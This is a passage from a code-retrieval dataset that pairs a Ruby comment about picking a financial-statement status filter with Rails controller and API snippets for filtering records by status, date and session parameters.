query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
=begin Based on what params user selected or if they were not passed based params saved in session return status, that should be filtered for financial statements. Params +session_options+ hash including :status, might be nil Returns +status+ string, one of valid_status_values, by default 'all' =end
def financial_statements_status(session_options) not_params_clear = !params[:clear] params_status, session_options_status = [params[:status], session_options.try(:[], [:status])] if (@valid_status_values.include? params_status) && not_params_clear params_status elsif session_options && (@valid_status_values.include? session_options_status) && not_params_clear session_options_status else 'all' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sessionStatus(options = {})\n assert_valid_keys(options, :sessionId, :transactionId, :date, :type, :amount, :description)\n assert_keys_exists(options, :sessionId, :transactionId, :date, :type, :amount, :description)\n #type => [ \"BOOKING\", \"REVERSAL\", \"BACKPAY\", \"EXTERNAL\", \"REFUND\", \"REFUNDREVERSAL\"]\n # #amount if eur cent\n options\n\n end", "def sessionStatus(options = {})\n assert_valid_keys(options, :sessionId, :status, :freeParams)\n assert_keys_exists(options, :sessionId, :status, :freeParams)\n #status => [\"INIT\", \"REINIT\", \"APPROVED\", \"CHARGED\", \"REVERSED\", \"RECHARGED\"]\n options\n\n end", "def status_filter_options\n helpers.options_for_select([[\"Any\", \"ANY\"]], params.dig(:query, :status)) +\n helpers.grouped_options_for_select(\n { \"open/closed\" => [[\"Open\", \"\"], [\"Closed\", \"closed\"]],\n \"status\" => Admin::DigitizationQueueItem::STATUSES.\n find_all {|s| s != \"closed\" }.\n collect {|s| [s.humanize, s]}\n },\n params.dig(:query, :status) || \"\"\n )\n\n # helpers.options_for_select(\n # Admin::DigitizationQueueItem::STATUSES.\n # find_all {|s| s != \"closed\" }.\n # collect {|s| [s.humanize, s]},\n # params.dig(:query, :status)\n # )\n end", "def current_status\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\t@report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\t \n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t if request.post? or session[:report_q_string].present?\n\t \tq_string = ''\n \t\t\tif request.post?\n \t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n \t\t\t\t@serach_result = search[0]\n \t\t\t\tq_string = search[1]\n \t\t\telse\n \t\t\t \tq_string = session[:report_q_string]\n \t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\n\t \t\t\tend\n \t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n \t\tend\n\tend", "def find_options_for_visible(options={})\n {:conditions => [\"reputations.status IN (?)\", ['active', 'cashed']]}.merge_finder_options(options)\n end", "def filter_sessions_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SessionApi.filter_sessions ...\"\n end\n # resource path\n local_var_path = \"/session/filter\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'trip_id'] = opts[:'trip_id'] if !opts[:'trip_id'].nil?\n query_params[:'ticket_id'] = opts[:'ticket_id'] if !opts[:'ticket_id'].nil?\n query_params[:'package_id'] = opts[:'package_id'] if !opts[:'package_id'].nil?\n query_params[:'course_id'] = opts[:'course_id'] if !opts[:'course_id'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20045')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SessionApi#filter_sessions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def filter\n res = RResponse.new\n \n # if no filter params exists, then we're in presentation mode of an existing query (and possibly paging). in this case\n # the set of order ids must exist in session[:order_filter]\n if (params[\"filter\"].nil?)\n raise RException.new(\"order/query call with neither a filter nor a resultset in session\") if session[:order_filter].nil? \n res.data[:rs] = Order.filter(session[:order_filter], params[\"limit\"], params[\"start\"]) \n res.data[:total] = session[:order_filter].length \n res.success = true \n \n # filter params were found -- this means we're building a new query\n else\n # build a criteria hash.\n c = {}\n params[\"filter\"].each_pair do |k,v|\n if (v == 'on')\n filter = {} \n params[k].each_pair do |name, value|\n filter[name.to_sym] = value\n end \n filter[:location] = params[\"location\"] if (k == 'airport') \n filter[:role] = params[\"role\"] if (k == 'company') \n c[k.to_sym] = filter \n end\n end \n LOG.info('filter: ' + c.to_yaml)\n res.data[:total] = 0 \n if (rs = Order.prepare_filter(c))\n session[:order_filter] = rs \n res.data[:total] = rs.length\n res.msg = \"Found #{rs.length} orders\" \n else \n res.msg = \"No orders found with that criteria\"\n end \n res.success = true\n end \n \n respond(res)\n \n end", "def current_status_aaa\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\t \n\t\tif request.post? or session[:report_q_string].present?\n\t\t\tif request.post?\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tif search[1] != ''\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(search[1])\n\t\t\t\tend\n\t\t\t\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\tend", "def filter_by_status\n ids = TaskFilter.filter_status_ids(session)\n status_values = []\n hidden = \"(tasks.hidden = 0 OR tasks.hidden IS NULL)\"\n\n if ids.include?(0)\n status_values << \"tasks.status = 0\"\n# status_values << \"tasks.status = 1\"\n ids.delete(0)\n end\n if ids.include?(2)\n status_values << \"tasks.status > 1\"\n ids.delete(2)\n end\n if ids.include?(-2)\n hidden = \"tasks.hidden = 1\"\n ids.delete(-2)\n end\n if ids.include?(-1) # all statuses\n status_values.clear\n ids.delete(-1)\n end\n\n # the other values can be used untouched \n status_values += ids.map { |id| \"tasks.status = #{ id }\" }\n status_values = status_values.join(\" OR \")\n status_values = \"(#{ status_values }) AND \" if !status_values.blank?\n return \"#{ status_values } (#{ hidden }) AND \"\n end", "def index\n pagination = {}\n query = {}\n\n search_term = params[:search_term] || ''\n sortfield = params[:sortfield] || 'created_at'\n sortdir = params[:sortdir] || 'DESC'\n\n user = params[:user]\n\n is_archived_str = params[:is_archived] || ''\n apply_archive_filter = false\n if is_archived_str.downcase.eql?('true') || is_archived_str.eql?('1')\n is_archived = true\n apply_archive_filter = true\n elsif is_archived_str.downcase.eql?('false') || is_archived_str.eql?('0')\n is_archived = false\n apply_archive_filter = true\n end\n\n to_be_invoiced_str = params[:to_be_invoiced] || ''\n apply_to_be_invoiced_filter = false\n if to_be_invoiced_str.downcase.eql?('true') || to_be_invoiced_str.eql?('1')\n to_be_invoiced = true\n apply_to_be_invoiced_filter = true\n elsif to_be_invoiced_str.downcase.eql?('false') || to_be_invoiced_str.eql?('0')\n to_be_invoiced = false\n apply_to_be_invoiced_filter = true\n end\n\n\n current_location = params[:currentLocation] || ''\n current_location = '' if current_location.downcase.eql?('null')\n current_location = '' if current_location.eql?('0')\n current_location = '' if current_location.downcase.eql?('all')\n\n order_type = params[:mediaType] || ''\n order_type = '' if order_type.downcase.eql?('null')\n order_type = '' if order_type.eql?('0')\n order_type = '' if order_type.downcase.eql?('all')\n\n\n # Set status group to all if parameter is missing\n status_group = params[:status_group] || 'all'\n status_group = 'all' if status_group.eql?('0')\n status_group = 'all' if status_group.eql?('null')\n status_group_obj = StatusGroup.find_by_label(status_group)\n status_group_obj ? apply_status_group_filter = true : apply_status_group_filter = false\n\n\n delivery_source = params[:delivery_source] || ''\n delivery_source_obj = DeliverySource.find_by_label(delivery_source)\n delivery_source_obj ? apply_delivery_source_filter = true : apply_delivery_source_filter = false\n\n @orders = Order.paginate(page: params[:page])\n if @orders.current_page > @orders.total_pages\n @orders = Order.paginate(page: 1)\n end\n\n if apply_archive_filter\n @orders = @orders.where(is_archived: is_archived)\n end\n\n if apply_to_be_invoiced_filter\n @orders = @orders.where(to_be_invoiced: to_be_invoiced)\n end\n\n if apply_delivery_source_filter\n @orders = @orders.where(delivery_source_id: delivery_source_obj[:id])\n end\n\n if apply_status_group_filter\n @orders = @orders.where(status_id: status_group_obj.statuses.map(&:id))\n end\n\n @orders = @orders.where(location_id: current_location) if current_location.present?\n @orders = @orders.where(user_id: user) if user.present?\n @orders = @orders.where(order_type_id: order_type) if order_type.present?\n\n\n if search_term.present?\n st = search_term.downcase\n #the_user = User.where(\"id = ?\", st[/^\\d+$/] ? search_term.to_i : nil)\n user_xkonto_hit = User.where(\"(xkonto = ?)\", st)\n user_name_hit = User.where(\"(lower(name) LIKE ?)\", \"%#{st}%\")\n\n note_hits = Order.joins(:notes).where(\n \"(lower(notes.message) LIKE ?)\n OR (lower(notes.subject) LIKE ?)\",\n \"%#{st}%\",\n \"%#{st}%\").to_a\n note_hit_ids = Array.new()\n note_hits.to_a.each do |hit|\n note_hit_ids << hit[:id]\n end\n logger.debug \"note_hit_ids: #{note_hit_ids}\"\n\n @orders = @orders.where(\n \"(lower(name) LIKE ?)\n OR (lower(title) LIKE ?)\n OR (lower(authors) LIKE ?)\n OR (lower(publication_year) LIKE ?)\n OR (lower(journal_title) LIKE ?)\n OR (lower(issn_isbn) LIKE ?)\n OR (lower(reference_information) LIKE ?)\n OR (lower(library_card_number) = ?)\n OR (lower(order_number) LIKE ?)\n OR (lower(comments) LIKE ?)\n OR (lower(libris_lf_number) = ?)\n OR (libris_request_id = ?)\n OR (lower(librisid) = ?)\n OR (lower(librismisc) LIKE ?)\n OR (user_id = ?)\n OR (user_id IN (?))\n OR (id IN (?))\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n \"%#{st}%\",\n st,\n \"%#{st}%\",\n \"%#{st}%\",\n st,\n st[/^\\d+$/] ? search_term.to_i : nil,\n st,\n \"%#{st}%\",\n user_xkonto_hit,\n user_name_hit,\n note_hit_ids\n )\n end\n\n logger.info \"OrdersController#index: current_location = #{current_location}\"\n logger.info \"OrdersController#index: sortfield == #{sortfield}\"\n logger.info \"OrdersController#index: sortdir == #{sortdir}\"\n\n @orders = @orders.order(sortfield)\n @orders = @orders.reverse_order if sortdir.upcase == 'DESC'\n\n pagination[:pages] = @orders.total_pages\n pagination[:page] = @orders.current_page\n pagination[:next] = @orders.next_page\n pagination[:previous] = @orders.previous_page\n\n query[:total] = @orders.total_entries\n\n logger.info @orders.to_sql\n logger.info \"OrdersController#index: Now rendering orders...\"\n render json: {orders: @orders, meta: {pagination: pagination, query: query}}, status: 200\n end", "def find_options_for_open_rewarded(options={})\n {:conditions => [\"kases.status IN (?) AND kases.price_cents > 0 AND kases.template != ?\", [\"open\"], true],\n :order => \"kases.updated_at DESC\"}.merge_finder_options(options)\n end", "def apply_options(options) \r\n if options.kind_of? Hash\r\n conditions = options.delete(:conditions) || {}\r\n \r\n conditions.each do | c_name, c_value |\r\n c_name = c_name.to_s\r\n \r\n case c_name\r\n when /list\\Z/i\r\n # List filters\r\n list = query.__send__(c_name.camelize)\r\n c_value = [c_value] unless c_value.kind_of?(Array)\r\n c_value.each { |i| list.Add(i) }\r\n when /range\\Z/i\r\n # Range filters\r\n c_value = parse_range_value(c_value)\r\n range_filter = filter_for(c_name)\r\n range_name = c_name.match(/(.*)_range\\Z/i)[1]\r\n if range_name == 'modified_date'\r\n # Modified Date Range use the IQBDateTimeType which requires a\\\r\n # boolean 'asDateOnly' value.\r\n range_filter.__send__(\"from_#{range_name}=\", c_value.first, true) if c_value.first\r\n range_filter.__send__(\"to_#{range_name}=\", c_value.last, true) if c_value.last\r\n else\r\n range_filter.__send__(\"from_#{range_name}=\", c_value.first) if c_value.first\r\n range_filter.__send__(\"to_#{range_name}=\", c_value.last) if c_value.last\r\n end\r\n when /status\\Z/i\r\n # Status filters\r\n filter.__send__(\"#{c_name}=\", c_value)\r\n else\r\n # Reference filters - Only using FullNameList for now\r\n ref_filter = filter_for(c_name)\r\n c_value = [c_value] unless c_value.respond_to?(:each)\r\n c_value.each do | val |\r\n ref_filter.FullNameList.Add(val)\r\n end\r\n end\r\n end\r\n \r\n add_owner_ids(options.delete(:owner_id))\r\n add_limit(options.delete(:limit))\r\n add_includes(options.delete(:include))\r\n\r\n options.each do |key, value|\r\n self.send(key.to_s.camelize).SetValue(value)\r\n end\r\n end\r\n end", "def check_filter_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n model = @tables.first[0]\r\n session[table_name] ||= {}\r\n# process page\r\n session[table_name][:page] = params[:page] if params[:page]\r\n# new filter is applied\r\n if params[:filter]\r\n set_session_filter(table_name)\r\n session[table_name][:page] = 1\r\n end\r\n# if data model has field dc_site_id ensure that only documents which belong to the site are selected.\r\n site_id = dc_get_site._id if dc_get_site\r\n# dont't filter site if no dc_site_id field or user is ADMIN\r\n site_id = nil if !model.method_defined?('dc_site_id') or dc_user_can(DcPermission::CAN_ADMIN)\r\n# \r\n if @records = DcFilter.get_filter(session[table_name][:filter])\r\n @records = @records.and(dc_site_id: site_id) if site_id\r\n else\r\n @records = if site_id\r\n model.where(dc_site_id: site_id)\r\n else\r\n model\r\n end\r\n end\r\n=begin \r\n# TODO Use only fields requested. Higly experimental but necessary in some scenarios\r\n if (columns = @form['result_set']['columns'])\r\n cols = []\r\n columns.each { |k,v| cols << v['name'] }\r\n p '*',cols,'*'\r\n @records = @records.only(cols)\r\n end\r\n=end \r\n# pagination if required\r\n per_page = (@form['result_set']['per_page'] || 30).to_i\r\n if per_page > 0\r\n @records = @records.page(session[table_name][:page]).per(per_page)\r\n end\r\nend", "def check_filter_options #:nodoc:\r\n table_name = CmsHelper.table_param(params).strip.split(';').first.underscore\r\n model = table_name.classify.constantize\r\n session[table_name] ||= {}\r\n # page is set\r\n session[table_name][:page] = params[:page] if params[:page]\r\n # if data model has field dc_site_id ensure that only documents which belong to the site are selected.\r\n site_id = dc_get_site._id if dc_get_site\r\n\r\n # don't filter site if no dc_site_id field or user is ADMIN\r\n site_id = nil if !model.method_defined?('dc_site_id') || dc_user_can(DcPermission::CAN_ADMIN)\r\n site_id = nil if session[table_name][:filter].to_s.match('dc_site_id')\r\n\r\n if @records = DcFilter.get_filter(session[table_name][:filter])\r\n @records = @records.and(dc_site_id: site_id) if site_id\r\n else\r\n @records = site_id ? model.where(dc_site_id: site_id) : model\r\n end\r\n process_select_and_deny_fields\r\n # pagination if required\r\n per_page = (@form['result_set']['per_page'] || 25).to_i\r\n @records = @records.page(session[table_name][:page]).per(per_page) if per_page > 0\r\nend", "def order_financial_status_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrderApi.order_financial_status_list ...\"\n end\n # resource path\n local_var_path = \"/order.financial_status.list.json\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key', 'store_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20046')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#order_financial_status_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def filter_by_status(bookings)\n return bookings if params[:status].blank?\n\n bookings.filter_by_status(params[:status])\n end", "def scope_by_status(status)\n case status\n when 'new', 'shipped', 'paid'\n with_scope(:find => { :conditions => {:status => status}}) do\n yield\n end\n else\n yield\n end\n end", "def transaction_filter_by_date\n @start_date, @end_date = params[:s_date], params[:e_date]\n all_fee_types = ['HostelFee', 'TransportFee', 'FinanceFee', 'Refund', 'BookMovement', 'InstantFee']\n salary = FinanceTransaction.get_transaction_category('Salary')\n joins = \"\"\n if params['transaction_type'] == t('advance_fees_text')\n @transactions = CancelledAdvanceFeeTransaction.paginate(:page => params[:page], :per_page => 20, \n :order => \"cancelled_advance_fee_transactions.created_at desc\",\n :joins => [:student, :transaction_receipt], \n :conditions => ['cancelled_advance_fee_transactions.created_at BETWEEN ? AND ?', @start_date, @end_date.to_date+1.day], \n :select => \"concat(students.first_name, ' ', students.middle_name, ' ', students.last_name) as payee_name, transaction_receipts.ef_receipt_number as receipt_no, 'Advance Fees' as finance_type, \n cancelled_advance_fee_transactions.fees_paid as amount, cancelled_advance_fee_transactions.user_id as user_id, cancelled_advance_fee_transactions.reason_for_cancel as cancel_reason, cancelled_advance_fee_transactions.created_at\")\n else\n if params['transaction_type'].present? and params['transaction_type'] == t('others')\n conditions = \"and (collection_name is null or finance_type not in (?)) and category_id <> ?\"\n elsif params['transaction_type'].present? and params['transaction_type'] == t('payslips')\n conditions = \"and (collection_name is null or finance_type not in (?)) and category_id = ?\"\n else\n joins = \"LEFT JOIN fee_accounts fa ON fa.id = ftrr.fee_account_id\"\n conditions = \"and (fa.id IS NULL OR fa.is_deleted = false) AND (collection_name is not null or finance_type in (?)) and category_id <> ?\"\n end\n \n @transactions = CancelledFinanceTransaction.paginate(:page => params[:page],\n :per_page => 20, :order => 'cancelled_finance_transactions.created_at desc',\n :select => \"cancelled_finance_transactions.*,\n IFNULL(CONCAT(IFNULL(tr.receipt_sequence, ''), tr.receipt_number), '-') AS receipt_no\",\n :joins => \"LEFT JOIN finance_transaction_receipt_records ftrr\n ON ftrr.finance_transaction_id = cancelled_finance_transactions.finance_transaction_id\n LEFT JOIN transaction_receipts tr ON tr.id = ftrr.transaction_receipt_id #{joins}\",\n :conditions => [\"cancelled_finance_transactions.created_at BETWEEN ? AND ?\n #{conditions}\", @start_date, @end_date, all_fee_types, salary])\n end\n render :update do |page|\n page.replace_html 'search_div', :partial => \"finance/search_by_date_deleted_transactions\"\n end\n end", "def query_status(params, path_url = 'payments', class_type = 'PAY')\n super\n end", "def get_service_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetServiceStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :account_id\n\t\t\targs[:query]['AccountId'] = optional[:account_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def session_status\n session[:company_id].blank?? nil : Company.find(session[:company_id]).is_cgc?? nil :session[:company_id]\n end", "def status(*values)\n params.bury(:query, :filter, :state_filter, states: values)\n self\n end", "def index\n if params[:status] != nil then\n if params[:status] != \"0\" then\n @sales_listings = SalesListing.joins(\"left join items on items.id = sales_listings.item_id\").paginate(:page => params[:page],\n :order => \"items.description, sales_listings.updated_at desc\",\n :conditions => [\"listing_status_id = ? and user_id = ?\", params[:status], current_user[:id]])\n else\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").paginate(:page => params[:page],\n :order => \"position, items.description, sales_listings.updated_at desc\",\n :conditions => [\"user_id = ?\", current_user[:id]])\n end\n else if params[:search] != nil then\n if params[:every_listings] == nil then\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").where([\"user_id = ? and listing_statuses.description = ?\", current_user[:id], \"Ongoing\"]).search(params[:search], params[:page]).order('sales_listings.updated_at DESC')\n else\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").where([\"user_id = ?\", current_user[:id]]).search(params[:search], params[:page]).order('sales_listings.updated_at DESC')\n end\n else\n # Using all_cached provides better performance while paging records, displaying the main page provides similar results though\n @sales_listings = SalesListing.all_cached(current_user[:id]).paginate(:page => params[:page])\n end\n end\n # using uncached results provide better performance, might be due to smaller data set\n @status_list = ListingStatus.find(:all, :select => \"id, description\", :order => \"description\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_listings }\n end\n end", "def find_options_for_active(options={})\n {:conditions => [\"kases.status NOT IN (?)\", [\"created\", \"suspended\", \"deleted\", \"closed\", \"resolved\"]],\n :order => \"kases.updated_at DESC\"}.merge_finder_options(options)\n end", "def show\n @filter = params[:id].to_sym\n\n case @filter\n when :fb_auth\n @setting = {:status => self.current_user.fb_authorized?}\n\n when :tw_auth\n @setting = {:status => self.current_user.tw_authorized?}\n\n when :tumblr_auth\n @setting = {:status => self.current_user.tumblr_authorized?}\n \n when :google_auth\n @setting = {:status => self.current_user.google_authorized?}\n \n when :yahoo_auth\n @setting = {:status => self.current_user.yahoo_authorized?}\n \n when :hotmail_auth\n @setting = {:status => self.current_user.hotmail_authorized?}\n\n when :fb_access_token\n @setting = {:status => self.current_user.fb_access_token_valid?}\n end\n rescue => ex\n handle_exception(ex)\n ensure\n respond_to do |format|\n format.json\n end\n end", "def params\n {}.tap do |param|\n param[:status] = SubscriptionPaymentOrder::STATUSES[status.to_sym]\n param[:page] = page\n param[:maxPageResults] = options[:per_page]\n param[:credentials] = options[:credentials]\n end\n end", "def find_options_for_visible(options={})\n {:conditions => [\"responses.status NOT IN (?)\", [\"created\", \"suspended\", \"deleted\"]],\n :order => \"responses.updated_at DESC\"}.merge_finder_options(options)\n end", "def filter_class_session_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ClasssessionApi.filter_class_session ...\"\n end\n # resource path\n local_var_path = \"/class-session/filter\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<TrainingSession>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ClasssessionApi#filter_class_session\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n if params[:status].nil?\n params[:status] = true\n end\n #@dptos=Department.where(enterprise_id: current_emp.id)\n @calendars=Calendar.where(department_id: @dptos) \n # filters\n @calendars=@calendars.filter(params.slice(:status,:department))\n end", "def set_session_filter(table_name)\r\n if params[:filter] == 'off' # clear all values\r\n session[table_name][:filter] = nil\r\n return\r\n end\r\n\r\n filter_value = if params[:filter_value].nil?\r\n# NIL indicates that no filtering is needed \r\n '#NIL'\r\n else \r\n if params[:filter_value].class == String and params[:filter_value][0] == '@'\r\n# Internal value. Remove leading @ and evaluate expression\r\n expression = DcInternals.get(params[:filter_value])\r\n eval(expression) rescue nil\r\n else\r\n# No filter when empty \r\n params[:filter_value] == '' ? '#NIL' : params[:filter_value] \r\n end\r\n end\r\n# if filter field parameter is omitted then just set filter value\r\n session[table_name][:filter] =\r\n if params[:filter_field].nil?\r\n saved = YAML.load(session[table_name][:filter])\r\n saved['value'] = filter_value\r\n saved.to_yaml\r\n else \r\n# As field defined. Split name and alternative input field\r\n field = if params[:filter_field].match(' as ')\r\n params[:filter_input] = params[:filter_field].split(' as ').last.strip\r\n params[:filter_field].split(' as ').first.strip\r\n else\r\n params[:filter_field]\r\n end\r\n# \r\n {'field' => field, \r\n 'operation' => params[:filter_oper], \r\n 'value' => filter_value,\r\n 'input' => params[:filter_input],\r\n 'table' => table_name }.to_yaml\r\n end\r\n# must be. Otherwise kaminari includes parameter on paging\r\n params[:filter] = nil \r\n params[:filter_id] = nil \r\n params[:filter_oper] = nil \r\n params[:filter_input] = nil \r\n params[:filter_field] = nil \r\nend", "def search_fee_collection\n if params[:option] == t('fee_collection_name')\n @transactions = CancelledFinanceTransaction.paginate(:page => params[:page], :per_page => 20,\n :select => \"cancelled_finance_transactions.*,\n IFNULL(CONCAT(IFNULL(tr.receipt_sequence, ''), tr.receipt_number),'') AS receipt_no\",\n :order => \"cancelled_finance_transactions.created_at desc\",\n :joins => \"LEFT JOIN finance_transaction_receipt_records ftrr\n ON ftrr.finance_transaction_id = cancelled_finance_transactions.finance_transaction_id\n LEFT JOIN transaction_receipts tr ON tr.id = ftrr.transaction_receipt_id\n #{active_account_joins(true,'ftrr')}\",\n :conditions => [\"collection_name LIKE ? AND #{active_account_conditions(true, 'ftrr')}\",\n # (ftrr.fee_account_id IS NULL OR (ftrr.fee_account_id IS NOT NULL AND fa.is_deleted = false))\",\n \"#{params[:query]}%\"]) unless params[:query] == ''\n elsif params[:option]==t('date_text')\n @transactions = CancelledFinanceTransaction.paginate(:page => params[:page], :per_page => 20,\n :select => \"cancelled_finance_transactions.*,\n IFNULL(CONCAT(IFNULL(tr.receipt_sequence, ''), tr.receipt_number),'') AS receipt_no\",\n :order => 'cancelled_finance_transactions.created_at desc',\n :joins => \"LEFT JOIN finance_transaction_receipt_records ftrr\n ON ftrr.finance_transaction_id = cancelled_finance_transactions.finance_transaction_id\n LEFT JOIN transaction_receipts tr ON tr.id = ftrr.transaction_receipt_id\n #{active_account_joins(true,'ftrr')}\",\n :conditions => [\"cancelled_finance_transactions.created_at LIKE ? AND #{active_account_conditions(true, 'ftrr')}\",\n # (ftrr.fee_account_id IS NULL OR (ftrr.fee_account_id IS NOT NULL AND fa.is_deleted = false))\",\n \"#{params[:query]}%\"]) unless params[:query] == ''\n else\n if FedenaPlugin.can_access_plugin?(\"fedena_instant_fee\")\n @transactions = CancelledFinanceTransaction.paginate(:page => params[:page], :per_page => 20,\n :include => :user, :order => 'cancelled_finance_transactions.created_at desc',\n :select => \"cancelled_finance_transactions.payee_id, cancelled_finance_transactions.payee_type,\n IFNULL(CONCAT(IFNULL(tr.receipt_sequence, ''), tr.receipt_number),'') AS receipt_no, \n cancelled_finance_transactions.amount, cancel_reason, \n cancelled_finance_transactions.user_id, cancelled_finance_transactions.created_at, \n collection_name, finance_type\",\n :joins => \"LEFT OUTER JOIN students ON students.id = payee_id\n LEFT OUTER JOIN employees ON employees.id = payee_id\n LEFT OUTER JOIN instant_fees ON instant_fees.id = finance_id\n LEFT JOIN finance_transaction_receipt_records ftrr\n ON ftrr.finance_transaction_id = cancelled_finance_transactions.finance_transaction_id\n LEFT JOIN transaction_receipts tr ON tr.id = ftrr.transaction_receipt_id\n #{active_account_joins(true,'ftrr')}\",\n :conditions => [\"(students.admission_no LIKE ? OR employees.employee_number LIKE ? OR\n instant_fees.guest_payee LIKE ?) AND #{active_account_conditions(true, 'ftrr')}\",\n # (ftrr.fee_account_id IS 